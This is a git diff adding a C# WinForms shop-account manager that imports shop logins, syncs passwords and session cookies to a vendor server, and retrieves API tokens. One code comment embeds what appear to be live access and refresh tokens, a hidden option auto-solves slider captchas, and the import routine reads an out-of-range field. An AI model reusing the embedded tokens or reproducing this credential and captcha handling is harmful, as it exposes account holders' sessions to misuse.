this.btnCheck.Location = new System.Drawing.Point(85, 9); + this.btnCheck.Margin = new System.Windows.Forms.Padding(2); + this.btnCheck.Name = "btnCheck"; + this.btnCheck.Size = new System.Drawing.Size(66, 26); + this.btnCheck.TabIndex = 372; + this.btnCheck.Text = "检测选中"; + this.btnCheck.UseVisualStyleBackColor = false; + this.btnCheck.Click += new System.EventHandler(this.btnCheck_Click); + // + // panel4 + // + this.panel4.Controls.Add(this.btnImport); + this.panel4.Controls.Add(this.btnAddShop); + this.panel4.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel4.Location = new System.Drawing.Point(3, 3); + this.panel4.Name = "panel4"; + this.panel4.Size = new System.Drawing.Size(822, 40); + this.panel4.TabIndex = 0; + // + // btnImport + // + this.btnImport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnImport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnImport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnImport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnImport.ForeColor = System.Drawing.Color.White; + this.btnImport.Location = new System.Drawing.Point(78, 9); + this.btnImport.Margin = new System.Windows.Forms.Padding(2); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(66, 26); + this.btnImport.TabIndex = 371; + this.btnImport.Text = "导入店铺"; + this.btnImport.UseVisualStyleBackColor = false; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // btnAddShop + // + this.btnAddShop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAddShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAddShop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAddShop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAddShop.ForeColor = System.Drawing.Color.White; + this.btnAddShop.Location = new System.Drawing.Point(8, 9); + this.btnAddShop.Margin = new System.Windows.Forms.Padding(2); + this.btnAddShop.Name = "btnAddShop"; + this.btnAddShop.Size = new System.Drawing.Size(66, 26); + this.btnAddShop.TabIndex = 370; + this.btnAddShop.Text = "添加店铺"; + this.btnAddShop.UseVisualStyleBackColor = false; + this.btnAddShop.Click += new System.EventHandler(this.btnAddShop_Click); + // + // splitContainer2 + // + this.splitContainer2.BackColor = System.Drawing.Color.White; + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.BackColor = System.Drawing.Color.White; + this.splitContainer2.Panel1.Controls.Add(this.pbLoading); + this.splitContainer2.Panel1.Controls.Add(this.dgvShop); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 0, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.chkAutoDrag); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1063, 587); + this.splitContainer2.SplitterDistance = 555; + this.splitContainer2.TabIndex = 0; + // + // pbLoading + // + this.pbLoading.Anchor = System.Windows.Forms.AnchorStyles.None; + this.pbLoading.Image = global::LittleRabbit.Properties.Resources.loading_blue; + this.pbLoading.Location = new System.Drawing.Point(506, 252); + this.pbLoading.Name = "pbLoading"; + this.pbLoading.Size = new System.Drawing.Size(50, 50); + this.pbLoading.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbLoading.TabIndex = 6; + this.pbLoading.TabStop = false; + // + // dgvShop + // + this.dgvShop.AllowUserToAddRows = false; + this.dgvShop.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvShop.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvShop.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.dgvShop.BackgroundColor = System.Drawing.Color.White; + this.dgvShop.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvShop.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvShop.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvShop.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colLoginName, + this.colShopId, + this.colShopAccount, + this.colCookie, + this.colGroup, + this.colUploadAccount, + this.colBuyAccount, + this.colChatAccount, + this.colLoginStatus, + this.colShopOperate, + this.colRelogin, + this.colMultiLogin, + this.colApiAuth, + this.colBuyApiAuth, + this.colCopyCookies, + this.colEdit, + this.colDelete}); + this.dgvShop.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvShop.Location = new System.Drawing.Point(4, 0); + this.dgvShop.Name = "dgvShop"; + this.dgvShop.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvShop.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvShop.RowTemplate.Height = 23; + this.dgvShop.Size = new System.Drawing.Size(1055, 555); + this.dgvShop.TabIndex = 5; + this.dgvShop.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvShop_CellContentClick); + // + // chkAutoDrag + // + this.chkAutoDrag.Anchor = System.Windows.Forms.AnchorStyles.Right; + this.chkAutoDrag.AutoSize = true; + this.chkAutoDrag.BackColor = System.Drawing.Color.White; + this.chkAutoDrag.Location = new System.Drawing.Point(907, 2); + this.chkAutoDrag.Name = "chkAutoDrag"; + this.chkAutoDrag.Size = new System.Drawing.Size(159, 21); + this.chkAutoDrag.TabIndex = 3; + this.chkAutoDrag.Text = "登录时自动滑动拼图验证"; + this.chkAutoDrag.UseVisualStyleBackColor = false; + this.chkAutoDrag.Visible = false; + this.chkAutoDrag.Click += new System.EventHandler(this.chkAutoDrag_Click); + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1063, 28); + this.statusBar.TabIndex = 1; + // + // colSelect + // + this.colSelect.FillWeight = 26F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // colLoginName + // + this.colLoginName.FillWeight = 69.42601F; + this.colLoginName.HeaderText = "店铺登录号码"; + this.colLoginName.Name = "colLoginName"; + this.colLoginName.ReadOnly = true; + // + // colShopId + // + this.colShopId.FillWeight = 69.42601F; + this.colShopId.HeaderText = "店铺Id"; + this.colShopId.Name = "colShopId"; + this.colShopId.ReadOnly = true; + // + // colShopAccount + // + this.colShopAccount.HeaderText = "店铺账号"; + this.colShopAccount.Name = "colShopAccount"; + this.colShopAccount.ReadOnly = true; + // + // colCookie + // + this.colCookie.HeaderText = "店铺Cookie"; + this.colCookie.Name = "colCookie"; + this.colCookie.ReadOnly = true; + this.colCookie.Visible = false; + // + // colGroup + // + this.colGroup.FillWeight = 69.42601F; + this.colGroup.HeaderText = "店铺分组"; + this.colGroup.Name = "colGroup"; + this.colGroup.ReadOnly = true; + // + // colUploadAccount + // + this.colUploadAccount.FillWeight = 69.42601F; + this.colUploadAccount.HeaderText = "上货账户"; + this.colUploadAccount.Name = "colUploadAccount"; + this.colUploadAccount.ReadOnly = true; + this.colUploadAccount.Visible = false; + // + // colBuyAccount + // + this.colBuyAccount.FillWeight = 69.42601F; + this.colBuyAccount.HeaderText = "采购账户"; + this.colBuyAccount.Name = "colBuyAccount"; + this.colBuyAccount.ReadOnly = true; + this.colBuyAccount.Visible = false; + // + // colChatAccount + // + this.colChatAccount.FillWeight = 69.42601F; + this.colChatAccount.HeaderText = "客服账户"; + this.colChatAccount.Name = "colChatAccount"; + this.colChatAccount.ReadOnly = true; + this.colChatAccount.Visible = false; + // + // colLoginStatus + // + this.colLoginStatus.HeaderText = "登录状态"; + this.colLoginStatus.Name = "colLoginStatus"; + this.colLoginStatus.ReadOnly = true; + this.colLoginStatus.Visible = false; + // + // colShopOperate + // + this.colShopOperate.FillWeight = 46F; + this.colShopOperate.HeaderText = "检测"; + this.colShopOperate.Name = "colShopOperate"; + this.colShopOperate.ReadOnly = true; + this.colShopOperate.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopOperate.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // colRelogin + // + this.colRelogin.FillWeight = 40F; + this.colRelogin.HeaderText = "登录"; + this.colRelogin.Name = "colRelogin"; + this.colRelogin.ReadOnly = true; + this.colRelogin.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colRelogin.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // colMultiLogin + // + this.colMultiLogin.FillWeight = 52F; + this.colMultiLogin.HeaderText = "多重登录"; + this.colMultiLogin.Name = "colMultiLogin"; + this.colMultiLogin.ReadOnly = true; + this.colMultiLogin.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colMultiLogin.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colMultiLogin.Visible = false; + // + // colApiAuth + // + this.colApiAuth.FillWeight = 69.42601F; + this.colApiAuth.HeaderText = "上货授权"; + this.colApiAuth.Name = "colApiAuth"; + this.colApiAuth.ReadOnly = true; + this.colApiAuth.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colApiAuth.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colApiAuth.Visible = false; + // + // colBuyApiAuth + // + this.colBuyApiAuth.FillWeight = 69.42601F; + this.colBuyApiAuth.HeaderText = "拍单授权"; + this.colBuyApiAuth.Name = "colBuyApiAuth"; + this.colBuyApiAuth.ReadOnly = true; + this.colBuyApiAuth.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colBuyApiAuth.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colBuyApiAuth.Visible = false; + // + // colCopyCookies + // + this.colCopyCookies.FillWeight = 70F; + this.colCopyCookies.HeaderText = "复制Cookies"; + this.colCopyCookies.Name = "colCopyCookies"; + this.colCopyCookies.ReadOnly = true; + this.colCopyCookies.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colCopyCookies.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // colEdit + // + this.colEdit.FillWeight = 46F; + this.colEdit.HeaderText = "编辑"; + this.colEdit.Name = "colEdit"; + this.colEdit.ReadOnly = true; + this.colEdit.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colEdit.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // colDelete + // + this.colDelete.FillWeight = 46F; + this.colDelete.HeaderText = "删除"; + this.colDelete.Name = "colDelete"; + this.colDelete.ReadOnly = true; + // + // ShopListForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1063, 637); + this.Controls.Add(this.splitContainer1); + this.Controls.Add(this.label1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); + this.Name = "ShopListForm"; + this.Text = "ShopListForm"; + this.Load += new System.EventHandler(this.ShopListForm_Load); + this.VisibleChanged += new System.EventHandler(this.ShopListForm_VisibleChanged); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.tableLayoutPanel2.ResumeLayout(false); + this.panel5.ResumeLayout(false); + this.panel4.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pbLoading)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.Panel panel4; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.ButtonEx btnAddShop; + private UserControls.ButtonEx btnLoginSelect; + private UserControls.ButtonEx btnCheck; + private UserControls.ButtonEx btnImport; + private UserControls.StatusBarUserControl statusBar; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.CheckBox chkAutoDrag; + private UserControls.ButtonEx btnRefreshAuth; + private System.Windows.Forms.PictureBox pbLoading; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginName; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopAccount; + private System.Windows.Forms.DataGridViewTextBoxColumn colCookie; + private System.Windows.Forms.DataGridViewTextBoxColumn colGroup; + private System.Windows.Forms.DataGridViewTextBoxColumn colUploadAccount; + private System.Windows.Forms.DataGridViewTextBoxColumn colBuyAccount; + private System.Windows.Forms.DataGridViewTextBoxColumn colChatAccount; + private System.Windows.Forms.DataGridViewTextBoxColumn colLoginStatus; + private System.Windows.Forms.DataGridViewLinkColumn colShopOperate; + private System.Windows.Forms.DataGridViewLinkColumn colRelogin; + private System.Windows.Forms.DataGridViewLinkColumn colMultiLogin; + private System.Windows.Forms.DataGridViewLinkColumn colApiAuth; + private System.Windows.Forms.DataGridViewLinkColumn colBuyApiAuth; + private System.Windows.Forms.DataGridViewLinkColumn colCopyCookies; + private System.Windows.Forms.DataGridViewLinkColumn colEdit; + private System.Windows.Forms.DataGridViewLinkColumn colDelete; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopListForm.cs b/TEMUKJD/KJDForms/ShopForms/ShopListForm.cs new file mode 100644 index 0000000..4837043 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopListForm.cs @@ -0,0 +1,880 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class ShopListForm : Form + { + public static List LstShopListFormInatance = new List(); + public static ShopListForm Instance { get; set; } = null; + public static bool IsOperate { get; set; } = false; + private bool isLoading { get; set; } = false; + + #region 服务端店铺管理 + public static string AddServerDouShop(DouShopLoginInfo _shop) + { + var url = BaseClass.BuildObjString("shop/add_shop"); + var data = UserLogin.GetSignaturex() + + "&login_name=" + _shop.LoginName + + "&login_pass=" + GetHtml.UrlEncodeUtf8(_shop.Password) + + "&shop_id=" + _shop.ShopAccountId + + "&shop_account=" + _shop.ShopAccount + + "&shop_group=" + GetHtml.UrlEncodeUtf8(_shop.Group); + + var result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200") && !result.Contains("已达上限") && !result.Contains("已存在")) + result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200") && !result.Contains("已达上限") && !result.Contains("已存在")) + result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + { + var msg = BaseRegex.GetStringJson(ref result, "msg"); + if (string.IsNullOrEmpty(msg)) + msg = "店铺保存失败!"; + BaseMsgForm.ShowError(msg); + } + return result; + } + public static List GetServerDouShop() + { + List list = new List(); + + int page = 0; + while (true) + { + page++; + + var url = BaseClass.BuildObjString("shop/get_shop_list"); + var data = UserLogin.GetSignaturex() + "&page=" + page; + var html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || !html.Contains("\"code\":200")) + html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) || !html.Contains("\"code\":200")) + html = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(html) + || !html.Contains("shop_id") || !html.Contains("shop_account") || !html.Contains("login_pass")) + { + //return list; + break; + } + + var jArr = JObject.Parse(html)["data"]; + if (jArr.Count() == 0) + break; + foreach (JObject jObj in jArr) + { + string shopStr = jObj.ToString(); + DouShopLoginInfo shop = new DouShopLoginInfo(); + shop.DbId = BaseRegex.GetStringJson(ref shopStr, "id"); + if (shop.DbId == null) + continue; + shop.LoginName = BaseRegex.GetStringJson(ref shopStr, "login_name"); + shop.Password = BaseRegex.GetStringJson(ref shopStr, "login_pass"); + shop.ShopAccountId = BaseRegex.GetStringJson(ref shopStr, "shop_id"); + shop.ShopAccount = BaseRegex.GetStringJson(ref shopStr, "shop_account"); + shop.Group = BaseRegex.GetStringJson(ref shopStr, "shop_group"); + shop.Cookies = BaseRegex.GetStringJson(ref shopStr, "cookie"); + //shop.PayStatus = BaseRegex.GetIntJson(ref shopStr, "shop_pay_status"); + //if (list.Any(l => l.ShopId == shop.ShopId) || list.Any(l => l.ShopName == shop.ShopName)) + // continue; + + list.Add(shop); + } + } + + if (list.Count > 0) + { + #region 获取服务端保存的店铺cookies 暂时作废 + //string shopNames = ""; + //foreach (var shop in list) + //{ + // shopNames += shop.ShopName + ","; + //} + + //var cookies = GetServerShopCookies(shopNames); + //if (cookies?.Contains("\"code\":200") == false) + // cookies = GetServerShopCookies(shopNames); + //if (cookies?.Contains("\"code\":200") == false) + // cookies = GetServerShopCookies(shopNames); + //if (!string.IsNullOrEmpty(cookies) && cookies.Contains("\"code\":200")) + //{ + // var data = JObject.Parse(cookies)["data"]; + // foreach (var shop in list) + // { + // for (int j = 0; data != null && j < data.Count(); j++) + // { + // if (data[j][shop.ShopName] != null) + // { + // shop.Cookies = data[j][shop.ShopName].ToString().Replace("&", "&").Replace("%", "%").Replace("+", "+"); + // break; + // } + // } + // } + //} + #endregion + + #region 获取服务端保存的店铺授权信息 暂时作废 + //UpdateShopTokens(list); + #endregion + } + return list; + } + + public static void UpdateShopTokens(List shops) + { + string shopIds = ""; + foreach (var shop in shops) + { + shopIds += shop.ShopAccountId + ","; + } + + var shopTokens = GetServerShopTokens(shopIds); //{"code":200,"msg":"success","data":[{"shop_id":"9050819","app_key":"6876612657718691336","access_token":"fd818b94-b4e7-4707-8073-bebcd81d8e4c","refresh_token":"9a109ef3-2bef-4ca9-8f4e-18369a356255","add_time":"2021-07-09 10:54:56","expires_in":"2021-07-14 18:40:44"}]} + for (int i = 0; i < 10 && (string.IsNullOrEmpty(shopTokens) || !shopTokens.Contains("\"code\":200")); i++) + { + shopTokens = GetServerShopTokens(shopIds); + if (i > 0) + Thread.Sleep(100); + } + if (!string.IsNullOrEmpty(shopTokens) && shopTokens.Contains("\"code\":200")) + { + JObject jShopsObj = JObject.Parse(shopTokens); + foreach (JObject jShop in jShopsObj["data"]) + { + string shopStr = JsonHelper.SerializeObject(jShop); + string shop_id = BaseRegex.GetStringJson(ref shopStr, "shop_id"); + var shop = shops.FirstOrDefault(s => s.ShopAccountId == shop_id); + if (shop != null) + { + var appkey = BaseRegex.GetStringJson(ref shopStr, "app_key"); + // 科尔搬家 + if (appkey == "7023294452517127719") + { + shop.ApiAuthInfoList.RemoveAll(a => a.AppKey == appkey); + shop.ApiAuthInfoList.Add(new AuthInfo + { + AppKey = appkey, + AccessToken = BaseRegex.GetStringJson(ref shopStr, "access_token"), + RefreshToken = BaseRegex.GetStringJson(ref shopStr, "refresh_token"), + AddTime = BaseRegex.GetStringJson(ref shopStr, "add_time").ParseToDateTime(), + ExpiresTime = BaseRegex.GetStringJson(ref shopStr, "expires_in").ParseToDateTime(), + }); + } + // 小奶兔工具 + else if (appkey == "6876612657718691336") // || shop.ShopName == "权益服务齐全的专营店") // 上货appkey,小奶猫工具 + { + shop.ApiAuthInfoList.RemoveAll(a => a.AppKey == appkey); + shop.ApiAuthInfoList.Add(new AuthInfo + { + AppKey = appkey, + AccessToken = BaseRegex.GetStringJson(ref shopStr, "access_token"), + RefreshToken = BaseRegex.GetStringJson(ref shopStr, "refresh_token"), + AddTime = BaseRegex.GetStringJson(ref shopStr, "add_time").ParseToDateTime(), + ExpiresTime = BaseRegex.GetStringJson(ref shopStr, "expires_in").ParseToDateTime(), + }); + } + else if (appkey == "7016502755254683171") // 拍单appkey,小奶兔打单 + { + shop.BuyApiAuth.AppKey = appkey; + shop.BuyApiAuth.AccessToken = BaseRegex.GetStringJson(ref shopStr, "access_token"); + shop.BuyApiAuth.RefreshToken = BaseRegex.GetStringJson(ref shopStr, "refresh_token"); + shop.BuyApiAuth.AddTime = BaseRegex.GetStringJson(ref shopStr, "add_time").ParseToDateTime(); + shop.BuyApiAuth.ExpiresTime = BaseRegex.GetStringJson(ref shopStr, "expires_in").ParseToDateTime(); + } + } + } + } + } + + public static void DelServerDouShop(string shopId) + { + var url = BaseClass.BuildObjString("shop/del_shop"); + var data = UserLogin.GetSignaturex() + "&login_name=" + shopId; + var result = GetHtml.PostUtf8(url, data); + } + #endregion + + #region 服务端店铺Cookie管理 + /// + /// 添加京东店铺Cookies + /// + /// 店铺名称 + /// cookies + /// 工具名称(可不填写) + public static void AddServerDouShopCookies(string shopName, string shopCookies, string fromTool = null) + { + var fTool = string.IsNullOrEmpty(fromTool) ? "" : "&from_tool=" + fromTool; + var url = BaseClass.BuildObjString("shop&act=add_shop_cookie"); + var data = UserLogin.GetSignaturex() + + "&shop_name=" + shopName + + "&cookie=" + shopCookies.Replace("&", "&").Replace("%", "%").Replace("+", "+") + + fTool; + var result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + { + BaseMsgForm.ShowError("服务端登录状态保存失败!请检查网络连接。"); + } + } + /// + /// 获取店铺Cookies + /// + /// 店铺名称,逗号隔开 + public static string GetServerShopCookies(string shopNames) + { + var url = BaseClass.BuildObjString("shop&act=get_shop_cookie"); + var data = UserLogin.GetSignaturex() + "&shop_name=" + shopNames.Trim(','); + var result = GetHtml.PostUtf8(url, data); + return result; + } + #endregion + + public static string GetServerShopTokens(string shopLoginNames) + { + var url = BaseClass.BuildObjString("shop&act=get_shop_token"); + var data = UserLogin.GetSignaturex() + "&login_name=" + shopLoginNames.Trim(','); + var result = GetHtml.PostUtf8(url, data); + return result; + } + + public ShopListForm() + { + InitializeComponent(); + + Instance = this; + + LstShopListFormInatance.Add(this); + } + + private void btnAddShop_Click(object sender, EventArgs e) + { + ShopAddEditForm sae = new ShopAddEditForm(); + sae.SaveCompleteWithDescribe += Sae_SaveComplete; + sae.Show(); + } + + private void Sae_SaveComplete(object obj, object isAdd) + { + var shopInfo = obj as DouShopLoginInfo; + if (shopInfo != null) + { + if ((isAdd as bool?) == true) + { + ShopLoginForm shopLoginForm = new ShopLoginForm(shopInfo); + shopLoginForm.SaveComplete += shopLoginForm_SaveComplete; + shopLoginForm.Show(); + } + else + { + StartUp.SaveDouShopLoginInfo(); + ShopListForm.AddServerDouShop(shopInfo); + shopLoginForm_SaveComplete(shopInfo); + } + } + } + + private void shopLoginForm_SaveComplete(object obj) + { + CheckShopLoginAsync(new string[] { (obj as DouShopLoginInfo).ShopAccount }); + } + + private void btnImport_Click(object sender, EventArgs e) + { + IsOperate = true; + ImportShop(); + } + + void ImportShop() + { + this.btnImport.Enabled = false; + string text = "店铺导入格式:\r\n\r\n1.店铺账号(手机/用户名/邮箱)-----店铺密码\r\n2.店铺账号-----密码-----分组\r\n\r\n多个店铺请每个店铺新起一行。"; + BaseMsgForm.ShowInfo(text, "", FormLevel.LARGE); + + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Filter = "文本文件(*.txt)|*.txt"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + using (StreamReader sr = new StreamReader(openFileDialog.FileName, System.Text.Encoding.UTF8)) + { + string fileName = openFileDialog.FileName; + string importStr = sr.ReadToEnd().Trim(); + var strArr = importStr.Replace("\r", "").Split('\n'); + for (int i = 0; i < strArr.Length; i++) + { + if (IsOperate == false) + break; + try + { + // 通用格式 + if (strArr[i].Contains("-----")) + { + var productArr = strArr[i].Split(new string[] { "-----" }, StringSplitOptions.RemoveEmptyEntries); + if (productArr.Length >= 2) + { + DouShopLoginInfo shop = new DouShopLoginInfo + { + LoginName = productArr[0], + Password = DataOpenSSL.EncryptString(productArr[1]), + }; + if (productArr.Length >= 3) + { + shop.Group = productArr[3]; + } + + //ShopLoginForm shopLoginForm = new ShopLoginForm(shop); + //shopLoginForm.SaveComplete += shopLoginForm_SaveComplete; + //shopLoginForm.ShowDialog(); + + //StartUp.SaveDouShopLoginInfo(); + var shopInfo = GlobalConfig.DouShopLoginList.FirstOrDefault(v => v.LoginName == shop.LoginName); + if (shopInfo != null) + { + shopInfo.Password = shop.Password; + shopInfo.Group = shop.Group; + } + else + GlobalConfig.DouShopLoginList.Add(shop); + StartUp.SaveDouShopLoginInfo(); + ShopListForm.AddServerDouShop(shop); + } + } + } + catch (Exception ex) + { + } + } + RefreshDataGridView(); + } + } + IsOperate = false; + this.btnImport.Enabled = true; + } + + private void RefreshDataGridView() + { + if (isLoading) + { + //BaseMsgForm.ShowError("当前正在加载,请稍等"); + return; + } + this.statusBar.pgbTaskProgress.Maximum = GlobalConfig.DouShopLoginList.Count; + this.dgvShop.Rows.Clear(); + Task.Run(() => + { + isLoading = true; + while (StartUp.IsShopInit == false) + { + Thread.Sleep(1000); + } + + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + if (i % 5 == 0 || i == GlobalConfig.DouShopLoginList.Count - 1) + { + if (this.Created) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在加载..."; + this.statusBar.pgbTaskProgress.Value = (i + 1); + this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + GlobalConfig.DouShopLoginList.Count; + })); + } + } + AddDataGridViewRow(GlobalConfig.DouShopLoginList[i], true); + } + if (this.Created) + { + this.Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "加载完毕"; + this.pbLoading.Visible = false; + })); + } + isLoading = false; + }); + } + + private void AddDataGridViewRow(DouShopLoginInfo param, bool isRefresh = false) + { + if (!this.Created) + return; + this.Invoke(new Action(() => + { + DataGridViewRow dgvr = dgvShop.Rows.Cast().Where(p => p.Cells.GetCellValueFromColumnName("colLoginName").ParseToString() == param.LoginName).FirstOrDefault(); + if (dgvr != null) + { + UpdateDataGridViewRowToken(dgvr, param); + if (!isRefresh) + { + // help to scroll to checked + dgvShop.CurrentCell = dgvr.Cells[2]; + } + } + else + { + int rowIndex = this.dgvShop.Rows.Add( + false, + param.LoginName, + param.ShopAccountId, + param.ShopAccount, + param.Cookies, + param.Group, + param.UploadAccount, + param.BuyAccount, + param.ChatAccount, + "", + "检测", + string.IsNullOrWhiteSpace(param.LoginStatus) ? "未登录" : param.LoginStatus.Trim(), + "多重登录", + param.ApiAuthStatus, + param.BuyApiAuth.ApiAuthStatus, + "复制Cookies", + "编辑", + "删除"); + if (!isRefresh) + { + // help to scroll to latest checked + dgvShop.CurrentCell = this.dgvShop.Rows[rowIndex].Cells[2]; + } + } + })); + } + + private void UpdateDataGridViewRowToken(DataGridViewRow dgvr, DouShopLoginInfo param) + { + if (dgvr == null || param == null) + return; + dgvr.Cells["colCookie"].Value = param.Cookies; + dgvr.Cells["colApiAuth"].Value = param.ApiAuthStatus; + dgvr.Cells["colBuyApiAuth"].Value = 